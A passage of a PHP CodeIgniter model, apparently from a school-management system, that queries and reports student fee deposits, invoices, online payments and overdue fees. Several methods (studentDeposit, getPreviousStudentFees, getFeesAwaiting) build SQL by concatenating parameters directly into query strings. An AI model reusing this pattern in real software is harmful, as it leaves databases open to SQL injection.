";die; $return_array = array(); if (!empty($result_value)) { $st_date = strtotime($start_date); $ed_date = strtotime($end_date); foreach ($result_value as $key => $value) { $return = $this->findObjectById($value, $st_date, $ed_date); if (!empty($return)) { foreach ($return as $r_key => $r_value) { $a = array(); $a['amount'] = $r_value->amount; $a['date'] = $r_value->date; $a['amount_discount'] = $r_value->amount_discount; $a['amount_fine'] = $r_value->amount_fine; $a['description'] = $r_value->description; $a['payment_mode'] = $r_value->payment_mode; $a['inv_no'] = $r_value->inv_no; $return_array[] = $a; } } } } return $return_array; } public function findObjectAmount($array, $st_date, $ed_date) { $ar = json_decode($array->amount_detail); $array = array(); $amount = 0; for ($i = $st_date; $i <= $ed_date; $i += 86400) { $find = date('Y-m-d', $i); foreach ($ar as $row_key => $row_value) { if ($row_value->date == $find) { $array[] = $row_value; } } } return $array; } public function findObjectById($array, $st_date, $ed_date) { $ar = json_decode($array->amount_detail); $array = array(); for ($i = $st_date; $i <= $ed_date; $i += 86400) { $find = date('Y-m-d', $i); foreach ($ar as $row_key => $row_value) { if ($row_value->date == $find) { $array[] = $row_value; } } } return $array; } public function findObjectByCollectId($array, $st_date, $ed_date, $receivedBy) { $ar = json_decode($array->amount_detail); $array = array(); for ($i = $st_date; $i <= $ed_date; $i += 86400) { $find = date('Y-m-d', $i); foreach ($ar as $row_key => $row_value) { if (isset($row_value->received_by)) { if ($row_value->date == $find && $row_value->received_by == $receivedBy) { $array[] = $row_value; } } } } return $array; } public function getFeeByInvoice($invoice_id, $sub_invoice_id) { $this->db->select('`student_fees_deposite`.*,students.firstname,students.lastname,students.admission_no,student_session.class_id,classes.class,sections.section,student_session.section_id,student_session.student_id,`fee_groups`.`name`, `feetype`.`type`, `feetype`.`code`,student_fees_master.student_session_id')->from('student_fees_deposite'); $this->db->join('fee_groups_feetype', 'fee_groups_feetype.id = student_fees_deposite.fee_groups_feetype_id'); $this->db->join('fee_groups', 'fee_groups.id = fee_groups_feetype.fee_groups_id'); $this->db->join('feetype', 'feetype.id = fee_groups_feetype.feetype_id'); $this->db->join('student_fees_master', 'student_fees_master.id=student_fees_deposite.student_fees_master_id'); $this->db->join('student_session', 'student_session.id= student_fees_master.student_session_id'); $this->db->join('classes', 'classes.id= student_session.class_id'); $this->db->join('sections', 'sections.id= student_session.section_id'); $this->db->join('students', 'students.id=student_session.student_id'); $this->db->where('student_fees_deposite.id', $invoice_id); $q = $this->db->get(); if ($q->num_rows() > 0) { $result = $q->row(); $res = json_decode($result->amount_detail); $a = (array) $res; foreach ($a as $key => $value) { if ($key == $sub_invoice_id) { return $result; } } } return false; } public function studentDeposit($data) { $sql = "SELECT fee_groups.is_system,student_fees_master.amount as `student_fees_master_amount`, fee_groups.name as `fee_group_name`,feetype.code as `fee_type_code`,fee_groups_feetype.amount,fee_groups_feetype.fine_percentage,fee_groups_feetype.fine_amount,fee_groups_feetype.due_date,IFNULL(student_fees_deposite.amount_detail,0) as `amount_detail` from student_fees_master INNER JOIN fee_session_groups on fee_session_groups.id=student_fees_master.fee_session_group_id INNER JOIN fee_groups_feetype on fee_groups_feetype.fee_groups_id=fee_session_groups.fee_groups_id INNER JOIN fee_groups on fee_groups_feetype.fee_groups_id=fee_groups.id INNER JOIN feetype on fee_groups_feetype.feetype_id=feetype.id LEFT JOIN student_fees_deposite on student_fees_deposite.student_fees_master_id=student_fees_master.id and student_fees_deposite.fee_groups_feetype_id=fee_groups_feetype.id WHERE student_fees_master.id =" . $data['student_fees_master_id'] . " and fee_groups_feetype.id =" . $data['fee_groups_feetype_id']; $query = $this->db->query($sql); return $query->row(); } public function getPreviousStudentFees($student_session_id) { $sql = "SELECT `student_fees_master`.*,fee_groups.name FROM `student_fees_master` INNER JOIN fee_session_groups on student_fees_master.fee_session_group_id=fee_session_groups.id INNER JOIN fee_groups on fee_groups.id=fee_session_groups.fee_groups_id WHERE `student_session_id` = " . $student_session_id . " ORDER BY `student_fees_master`.`id`"; $query = $this->db->query($sql); $result = $query->result(); if (!empty($result)) { foreach ($result as $result_key => $result_value) { $fee_session_group_id = $result_value->fee_session_group_id; $student_fees_master_id = $result_value->id; $result_value->fees = $this->getDueFeeByFeeSessionGroup($fee_session_group_id, $student_fees_master_id); if ($result_value->is_system != 0) { $result_value->fees[0]->amount = $result_value->amount; } } } return $result; } public function fee_deposit_collections($data) { if (!empty($data)) { foreach ($data as $d_key => $d_value) { $this->db->where('student_fees_master_id', $data[$d_key]['student_fees_master_id']); $this->db->where('fee_groups_feetype_id', $data[$d_key]['fee_groups_feetype_id']); $q = $this->db->get('student_fees_deposite'); if ($q->num_rows() > 0) { $desc = $data[$d_key]['amount_detail']['description']; $row = $q->row(); $this->db->where('id', $row->id); $a = json_decode($row->amount_detail, true); $inv_no = max(array_keys($a)) + 1; $data[$d_key]['amount_detail']['inv_no'] = $inv_no; $a[$inv_no] = $data[$d_key]['amount_detail']; $data[$d_key]['amount_detail'] = json_encode($a); $this->db->update('student_fees_deposite', $data[$d_key]); } else { $data[$d_key]['amount_detail']['inv_no'] = 1; $desc = $data[$d_key]['amount_detail']['description']; $data[$d_key]['amount_detail'] = json_encode(array('1' => $data[$d_key]['amount_detail'])); $this->db->insert('student_fees_deposite', $data[$d_key]); $inserted_id = $this->db->insert_id(); // return json_encode(array('invoice_id' => $inserted_id, 'sub_invoice_id' => 1)); } } } } public function findOnlineObjectById($array, $st_date, $ed_date) { $ar = json_decode($array->amount_detail); // echo "
"; // print_r($ar); // echo "
";
        $mode = array('Cheque', 'Cash', 'DD');
        $array = array();
        for ($i = $st_date; $i <= $ed_date; $i += 86400) {
            $find = date('Y-m-d', $i);
            foreach ($ar as $row_key => $row_value) {
                if ($row_value->date == $find) {
                    if (!in_array($row_value->payment_mode, $mode, TRUE)) {
                        $array[] = $row_value;
                    }
                }
            }
        }
//die;
        return $array;
    }

    public function getOnlineFeeCollectionReport($start_date, $end_date) {

        $this->db->select('`student_fees_deposite`.*,students.firstname,students.lastname,student_session.class_id,classes.class,sections.section,student_session.section_id,student_session.student_id,`fee_groups`.`name`, `feetype`.`type`, `feetype`.`code`,student_fees_master.student_session_id')->from('student_fees_deposite');
        $this->db->join('fee_groups_feetype', 'fee_groups_feetype.id = student_fees_deposite.fee_groups_feetype_id');

        $this->db->join('fee_groups', 'fee_groups.id = fee_groups_feetype.fee_groups_id');
        $this->db->join('feetype', 'feetype.id = fee_groups_feetype.feetype_id');
        $this->db->join('student_fees_master', 'student_fees_master.id=student_fees_deposite.student_fees_master_id');
        $this->db->join('student_session', 'student_session.id= student_fees_master.student_session_id');
        $this->db->join('classes', 'classes.id= student_session.class_id');
        $this->db->join('sections', 'sections.id= student_session.section_id');
        $this->db->join('students', 'students.id=student_session.student_id');
        $this->db->where('student_session.session_id', $this->current_session);
        $this->db->order_by('student_fees_deposite.id');
//$this->db->limit(0, 80); 



        $query = $this->db->get();
        $result_value = $query->result();

        $return_array = array();
        if (!empty($result_value)) {
            $st_date = strtotime($start_date);
            $ed_date = strtotime($end_date);
            foreach ($result_value as $key => $value) {
                $return = $this->findOnlineObjectById($value, $st_date, $ed_date);
                if (!empty($return)) {

                    foreach ($return as $r_key => $r_value) {
                        $a['id'] = $value->id;
                        $a['student_fees_master_id'] = $value->student_fees_master_id;
                        $a['fee_groups_feetype_id'] = $value->fee_groups_feetype_id;
                        $a['firstname'] = $value->firstname;
                        $a['lastname'] = $value->lastname;
                        $a['class_id'] = $value->class_id;
                        $a['class'] = $value->class;
                        $a['section'] = $value->section;
                        $a['section_id'] = $value->section_id;
                        $a['student_id'] = $value->student_id;
                        $a['name'] = $value->name;
                        $a['type'] = $value->type;
                        $a['code'] = $value->code;
                        $a['student_session_id'] = $value->student_session_id;
                        $a['amount'] = $r_value->amount;
                        $a['date'] = $r_value->date;
                        $a['amount_discount'] = $r_value->amount_discount;
                        $a['amount_fine'] = $r_value->amount_fine;
                        $a['description'] = $r_value->description;
                        $a['payment_mode'] = $r_value->payment_mode;
                        $a['inv_no'] = $r_value->inv_no;
                        $a['received_by'] = $r_value->received_by;
                        $a['received_byname'] = $this->staff_model->get_StaffNameById($r_value->received_by);
                        $return_array[] = $a;
                    }
                }
            }
        }

        return $return_array;
    }

    public function getFeesAwaiting($start_date, $end_date) {
        // $sql = "SELECT student_fees_master.*,fee_groups_feetype.id as `fee_groups_feetype_id`,fee_groups_feetype.amount,fee_groups_feetype.due_date,fee_groups_feetype.fee_groups_id,fee_groups.name,fee_groups_feetype.feetype_id,feetype.code,feetype.type, IFNULL(student_fees_deposite.id,0) as `student_fees_deposite_id`, IFNULL(student_fees_deposite.amount_detail,0) as `amount_detail` FROM `student_fees_master` inner  join student_session on student_fees_master.student_session_id=student_session.id INNER JOIN fee_session_groups on fee_session_groups.id = student_fees_master.fee_session_group_id INNER JOIN fee_groups_feetype on  fee_groups_feetype.fee_session_group_id = fee_session_groups.id  INNER JOIN fee_groups on fee_groups.id=fee_groups_feetype.fee_groups_id INNER JOIN feetype on feetype.id=fee_groups_feetype.feetype_id LEFT JOIN student_fees_deposite on student_fees_deposite.student_fees_master_id=student_fees_master.id and student_fees_deposite.fee_groups_feetype_id=fee_groups_feetype.id where date_format(fee_groups_feetype.due_date,'%Y-%m-%d') between '".$start_date."' and '".$end_date."'    order by fee_groups_feetype.due_date asc";


        $sql = "SELECT student_fees_master.*,fee_session_groups.fee_groups_id,fee_session_groups.session_id,fee_groups.name,fee_groups.is_system,fee_groups_feetype.amount as `fee_amount`,fee_groups_feetype.id as fee_groups_feetype_id,student_fees_deposite.amount_detail,students.firstname,students.is_active FROM `student_fees_master` INNER JOIN fee_session_groups on fee_session_groups.id=student_fees_master.fee_session_group_id INNER JOIN student_session on student_session.id=student_fees_master.student_session_id INNER JOIN students on students.id=student_session.student_id inner join fee_groups on fee_groups.id=fee_session_groups.fee_groups_id INNER JOIN fee_groups_feetype on fee_groups.id=fee_groups_feetype.fee_groups_id LEFT JOIN student_fees_deposite on student_fees_deposite.student_fees_master_id=student_fees_master.id and student_fees_deposite.fee_groups_feetype_id=fee_groups_feetype.id WHERE student_session.session_id='" . $this->current_session . "' and  fee_session_groups.session_id='" . $this->current_session . "' and fee_groups_feetype.due_date BETWEEN '" . $start_date . "' and '" . $end_date . "' and students.is_active='yes' order by fee_groups_feetype.due_date asc";
        $query = $this->db->query($sql);
        $result = $query->result();

        return $result;
    }

}